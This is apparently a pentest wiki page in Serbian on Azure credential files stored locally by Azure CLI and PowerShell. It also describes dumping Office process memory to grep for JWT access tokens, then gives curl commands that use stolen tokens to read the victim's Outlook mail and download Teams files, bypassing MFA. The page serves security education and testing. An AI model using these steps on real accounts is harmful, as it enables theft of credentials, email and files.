# Az - Lokalni Cloud Akreditivi

{{#include ../../../banners/hacktricks-training.md}}

## Lokalna Pohrana Tokena i Bezbednosne Razmatranja

### Azure CLI (Interfejs Komandne Linije)

Tokeni i osetljivi podaci se lokalno čuvaju od strane Azure CLI, što izaziva bezbednosne brige:

1. **Pristupni Tokeni**: Čuvaju se u običnom tekstu unutar `accessTokens.json` koji se nalazi na `C:\Users\<username>\.Azure`.
2. **Informacije o Pretplati**: `azureProfile.json`, u istoj direktoriji, sadrži detalje o pretplati.
3. **Log Fajlovi**: Folder `ErrorRecords` unutar `.azure` može sadržati logove sa izloženim akreditivima, kao što su:
- Izvršene komande sa ugrađenim akreditivima.
- URL-ovi kojima se pristupalo koristeći tokene, potencijalno otkrivajući osetljive informacije.

### Azure PowerShell

Azure PowerShell takođe čuva tokene i osetljive podatke, koji se mogu lokalno pristupiti:

1. **Pristupni Tokeni**: `TokenCache.dat`, koji se nalazi na `C:\Users\<username>\.Azure`, čuva pristupne tokene u običnom tekstu.
2. **Tajni Ključevi Servisnog Principala**: Ovi se čuvaju nešifrovani u `AzureRmContext.json`.
3. **Funkcija Čuvanja Tokena**: Korisnici imaju mogućnost da trajno sačuvaju tokene koristeći komandu `Save-AzContext`, koja treba da se koristi oprezno kako bi se sprečio neovlašćen pristup.

### Automatski Alati za Pronalaženje

- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)

## Tokeni u Memoriji

Kao što je objašnjeno u [**ovom videu**](https://www.youtube.com/watch?v=OHKZkXC4Duw), neki Microsoft softveri sinhronizovani sa cloud-om (Excel, Teams...) mogu **čuvati pristupne tokene u običnom tekstu u memoriji**. Tako da samo **dumpovanje** **memorije** procesa i **grepovanje za JWT tokene** može vam omogućiti pristup raznim resursima žrtve u cloud-u, zaobilazeći MFA.

Koraci:

1. Dumpujte excel procese sinhronizovane sa EntraID korisnikom koristeći vaš omiljeni alat.
2. Pokrenite: `string excel.dmp | grep 'eyJ0'` i pronađite nekoliko tokena u izlazu.
3. Pronađite tokene koji vas najviše zanimaju i pokrenite alate nad njima:
```bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
```
**Napomena da se ovi tipovi pristupnih tokena mogu naći i unutar drugih procesa.**

{{#include ../../../banners/hacktricks-training.md}}
